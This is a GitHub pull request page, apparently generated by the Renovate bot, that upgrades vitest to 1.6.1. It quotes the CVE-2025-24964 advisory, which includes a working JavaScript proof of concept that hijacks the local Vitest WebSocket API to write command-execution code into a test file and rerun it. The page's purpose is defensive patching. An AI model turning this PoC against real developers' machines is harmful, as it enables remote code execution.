Skip to content

chore(deps): update dependency vitest to v1.6.1 [security]#43

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v1.6.1 [security]#43
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate bot commented Feb 5, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.2.21.6.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
  • api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in #​5493 (780b1)
    • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot
Copy link
Copy Markdown

changeset-bot bot commented Feb 5, 2025

⚠️ No Changeset found

Latest commit: ac6bc11

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@cloudflare-workers-and-pages
Copy link
Copy Markdown

cloudflare-workers-and-pages bot commented Feb 5, 2025

Deploying hermes with  Cloudflare Pages  Cloudflare Pages

Latest commit: ac6bc11
Status: ✅  Deploy successful!
Preview URL: https://ed2a17b6.mailing.pages.dev
Branch Preview URL: https://renovate-npm-vitest-vulnerab.mailing.pages.dev

View logs

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e6f65ab to 674a286 Compare February 9, 2025 20:04
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 674a286 to 00ea398 Compare March 5, 2025 23:48
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 00ea398 to 9590350 Compare March 12, 2025 03:57
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 9590350 to b28bb9e Compare April 3, 2025 03:39
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b28bb9e to 32926fd Compare April 11, 2025 08:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 32926fd to f857880 Compare April 26, 2025 11:55
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f857880 to 5e48ee4 Compare June 28, 2025 23:56
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5e48ee4 to 15bb6ec Compare July 6, 2025 08:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 15bb6ec to 90fd5d3 Compare August 14, 2025 00:03
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 90fd5d3 to 740ab07 Compare August 23, 2025 23:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 740ab07 to 5ae9777 Compare September 26, 2025 04:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5ae9777 to 02be294 Compare October 25, 2025 08:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 02be294 to 7f42638 Compare November 16, 2025 16:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 7f42638 to c880a05 Compare January 1, 2026 20:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants